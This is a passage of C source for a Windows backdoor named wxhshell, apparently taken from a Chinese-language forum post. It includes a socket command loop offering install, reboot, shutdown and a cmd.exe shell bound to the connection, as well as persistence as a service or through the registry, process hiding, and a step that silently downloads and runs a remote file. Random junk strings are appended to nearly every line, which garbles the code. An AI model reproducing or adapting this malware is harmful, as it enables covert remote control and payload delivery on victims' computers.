  else { %kU'hzLg  
q9}m!*8e  
    switch(cmd[0]) { eK`PxoTI-I  
  `EMi0hm&H  
  // 帮助 *i<\iMoW  
  case '?': { S-Ai3)t6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I+,SZ]n  
    break; 6/mF2&&g  
  } rj  H`  
  // 安装 So4nJ><p  
  case 'i': { s'_,:R\VM>  
    if(Install()) b7h+?!H]R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P -Fg^tl  
    else &:#m&,tQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .]76!(fWZ  
    break; =ak7ld A=2  
    } Rs$5PdH  
  // 卸载 (a{ZJI8_  
  case 'r': { >xd<YwXZ  
    if(Uninstall()) t<b3K-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W8aU "_  
    else xRX>|S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >#N[GrJAE  
    break; YL^Z4: p  
    } XizPMN5a  
  // 显示 wxhshell 所在路径 LD55n%|0`H  
  case 'p': { m4/}Jx[  
    char svExeFile[MAX_PATH]; p#H]\ P'  
    strcpy(svExeFile,"\n\r"); v$$]Gv(  
      strcat(svExeFile,ExeFile); m@ oUvxcd  
        send(wsh,svExeFile,strlen(svExeFile),0); ; Zq/eiB  
    break; }e=e",eAT  
    } 5()Fvae{k  
  // 重启 yr4ou  
  case 'b': { 6[==BbZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Cf mcz(56  
    if(Boot(REBOOT)) l_+A5Xy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b8a^6:R"  
    else { ]C *10S`  
    closesocket(wsh); Vm!i  
    ExitThread(0); eoJ]4-WFq  
    } cgyo_ k  
    break; 4 iH&:Al  
    }  wOHEv^,  
  // 关机 .s};F/(diD  
  case 'd': { dERc}oAh(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H~m]nV,r  
    if(Boot(SHUTDOWN)) #AncOo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zrx JN  
    else { `-D$Fsl  
    closesocket(wsh); VG#Q;Xd}  
    ExitThread(0); V.,bwPb{9  
    } K+mU_+KRp  
    break; FDq{M?6i  
    } (2%>jg0M  
  // 获取shell 5\G)Q<A]*L  
  case 's': { ]_2 yiKv&  
    CmdShell(wsh);  ? ICDIn  
    closesocket(wsh); /J;]u3e|  
    ExitThread(0); k!13=Gh  
    break; od,tfLw4  
  } p\+6"28{_~  
  // 退出 ~V$ f #X  
  case 'x': { @"8~Y|L93  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8_iHVc;<  
    CloseIt(wsh); t F/nah  
    break; #>q[oie1e  
    } W uf/LKj  
  // 离开 2v\W1VF  
  case 'q': { BkT-m'I?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (C~dkR?  
    closesocket(wsh); (rMZ  
    WSACleanup(); b"P&+c  
    exit(1); `Qq/ F]  
    break; s]bPV,"p  
        } AP ;*iyQ[  
  } ~R{8.!: >  
  } NUu;tjt:  
LR\zy8y]  
  // 提示信息 Nu+wL>t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qT 0_L  
} YZ*{^'  
  } qvTJ>FILT  
lWlUWhLnP  
  return; jZ/+~{<  
} 0s!N@ ,T  
m >hovikY*  
// shell模块句柄 R .UumBM  
int CmdShell(SOCKET sock) xSOoIsL[  
{ 2H>aC wfX  
STARTUPINFO si; H%~Q?4  
ZeroMemory(&si,sizeof(si)); u#VweXyU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8GW ut=D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SW=aHM  
PROCESS_INFORMATION ProcessInfo; 1t%<5O;R  
char cmdline[]="cmd";  wQw-:f-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7*g(@d  
  return 0; ?.j,Bq5At  
} CLktNR(45  
?w8p LE~E  
// 自身启动模式 r_=p,#}#  
int StartFromService(void) Fd}<Uote3  
{ UU"d_~pp  
typedef struct =N;$0 Y(g  
{ &@"w-M  
  DWORD ExitStatus; 1:YAn  
  DWORD PebBaseAddress; hy=u}^F.C  
  DWORD AffinityMask; 8L{$v~+  
  DWORD BasePriority; %Il;B~t  
  ULONG UniqueProcessId; tgfM:kzw  
  ULONG InheritedFromUniqueProcessId; {a@hRY_  
}   PROCESS_BASIC_INFORMATION; $~Tf L{$  
aa!a&L|!  
PROCNTQSIP NtQueryInformationProcess; }JH`' &3  
*XOS.$zGz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sM0c#YK?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kv1vx*>  
<]c#)xg  
  HANDLE             hProcess; o6/Rx#A  
  PROCESS_BASIC_INFORMATION pbi; w. vY(s  
,0FwBK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =E; #OZO  
  if(NULL == hInst ) return 0; CHg]Ul  
w2@"PGR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o6:45  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LEA;dSf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &E`9>&~J  
GP Ix@k  
  if (!NtQueryInformationProcess) return 0; tgK x4  
+RdI;QmM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EuLXtq  
  if(!hProcess) return 0; A mvw`u>  
fls#LcI9>6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~X[S<Gi#  
jJ*=Ghu-  
  CloseHandle(hProcess); B0S8vU  
N]V/83_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o\:$V   
if(hProcess==NULL) return 0; FE>3 D1\  
v'K % %z  
HMODULE hMod; U~Xf=f_Q$  
char procName[255]; !>q?dhw@  
unsigned long cbNeeded; R&#[6 r(h  
df!+T0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FSFFk~  
N JXa_&_  
  CloseHandle(hProcess); 6/VNuQ_#  
rXlx?GV  
if(strstr(procName,"services")) return 1; // 以服务启动 { _-wG3f|  
9y;y7i{>?  
  return 0; // 注册表启动 xp~YIeSg  
} 8IpxOA#jQ  
otoBb^Mz  
// 主模块 M9h<}mh\  
int StartWxhshell(LPSTR lpCmdLine) HUK" OH  
{ +_P8'e%Iy  
  SOCKET wsl; }FHw" {my  
BOOL val=TRUE; F ZM2   
  int port=0; l&vm[3  
  struct sockaddr_in door; qjJ{+Rz2  
'n>EEQyp'  
  if(wscfg.ws_autoins) Install(); `D4oAx d9  
Ck:#1-t8{  
port=atoi(lpCmdLine); ?VUgwP_=  
,9F*96  
if(port<=0) port=wscfg.ws_port; uAc@ Z-  
IPwj_jvw  
  WSADATA data; 5XI;<^n2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QCVsVG!sN  
fm[_@L% x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C{DlcZ<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9e0C3+)CY  
  door.sin_family = AF_INET; +SO2M|ru&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C{8i7D  
  door.sin_port = htons(port); Gg'<Q.H  
MJy;GzJ O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F\zkyk 4  
closesocket(wsl); P\Ai|"=&]  
return 1; ~6\& y  
} "[#@;{@Gt  
Cc@=?  
  if(listen(wsl,2) == INVALID_SOCKET) { ]d[Rf$>vu0  
closesocket(wsl); #4Dn@Gqh.Y  
return 1; |if~i;VKL  
} Y]hV-_2+Do  
  Wxhshell(wsl); <Z2(qZ^Z  
  WSACleanup(); 1 ,#{X3  
'.=Wk^,Ua  
return 0; I93 ~8wQ  
GU:r vS!  
} BhOXXa{B  
sM #!Xl;  
// 以NT服务方式启动 V h Z=,m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;r gH}r  
{ t|go5DXz4  
DWORD   status = 0; AD~~e% s=  
  DWORD   specificError = 0xfffffff; 8f /T!5  
a v'd%LZP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dDsjPM;2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mrK,Ql  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -q'xC:m  
  serviceStatus.dwWin32ExitCode     = 0; -iY9GN89c  
  serviceStatus.dwServiceSpecificExitCode = 0; aQ32p4C  
  serviceStatus.dwCheckPoint       = 0; -3C* P  
  serviceStatus.dwWaitHint       = 0; muL>g_H  
x>U1t!'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EC^Ev|PB\u  
  if (hServiceStatusHandle==0) return; b24NL'jm  
.jvSAV5B  
status = GetLastError(); b*btkaVue  
  if (status!=NO_ERROR) 2N L:\%wz  
{ >{phyByI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NvQY7C  
    serviceStatus.dwCheckPoint       = 0; |WD,\=J2  
    serviceStatus.dwWaitHint       = 0; pe\Txg6  
    serviceStatus.dwWin32ExitCode     = status; IyrZez  
    serviceStatus.dwServiceSpecificExitCode = specificError; w{_e"N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y&oP>n! ei  
    return; ipx@pNW;"  
  } } l:mN  
}2-[Ki yv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,:0Q1~8  
  serviceStatus.dwCheckPoint       = 0; %E4$ZPSW  
  serviceStatus.dwWaitHint       = 0; Kj~>&WU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *,O :>Z5I  
} v< 65(I>  
TSc~$Q]  
// 处理NT服务事件,比如:启动、停止 }}kS~ w-#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a) I=U [  
{ C ffTv  
switch(fdwControl) UgF)J  
{ g i1}5DR  
case SERVICE_CONTROL_STOP: o|rGy 5  
  serviceStatus.dwWin32ExitCode = 0; O\|C,Ep m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K[iY{  
  serviceStatus.dwCheckPoint   = 0; Y|hzF:ll  
  serviceStatus.dwWaitHint     = 0; s|{^ }4{  
  { Q\&AlV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ki[;ZmQq Y  
  } r~S!<9f  
  return; mp&Le YYn  
case SERVICE_CONTROL_PAUSE: K $Mx}m7l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F'V +2,.  
  break; c7FfI"7HR  
case SERVICE_CONTROL_CONTINUE: ^ I{R[O'8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DBj;P|L_  
  break; _4~ng#M*  
case SERVICE_CONTROL_INTERROGATE: gp#bQ  
  break; LU-#=1Q  
}; k7z(Gbzu   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lU&`r:1>_  
} "@c';".|  
?#VP)A  
// 标准应用程序主函数 N}8HK^n*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "Cb.cO$i;  
{ qB+:#Yrx/  
;a!h.8UJPI  
// 获取操作系统版本 jyY^iQ.2  
OsIsNt=GetOsVer(); cc2d/<:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?`vM#)  
*@-q@5r}!  
  // 从命令行安装 9J-!o]f .b  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8>%jZ%`a  
/{eih]`x(  
  // 下载执行文件 .LeF|EQU\@  
if(wscfg.ws_downexe) { 9G`FY:(K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >.!5M L\  
  WinExec(wscfg.ws_filenam,SW_HIDE); .d#G]8suF  
} 42n@:5`{+  
~aauW?  
if(!OsIsNt) { [[*0MA2Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 buq *abON  
HideProc(); 4%',scn  
StartWxhshell(lpCmdLine); ;JPbBwm  
} Lyf? V(S  
else hr~qt~Oi  
  if(StartFromService()) !T#8N7J>  
  // 以服务方式启动 Ovl?j&8  
  StartServiceCtrlDispatcher(DispatchTable); SU_] C+  
else [T}%q"<  
  // 普通方式启动 %#S"~)  
  StartWxhshell(lpCmdLine); r|JiGj^om  
?c=R"Yg$  
return 0;  rvwl  
}
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只看该作者 1 发表于: 2006-10-10
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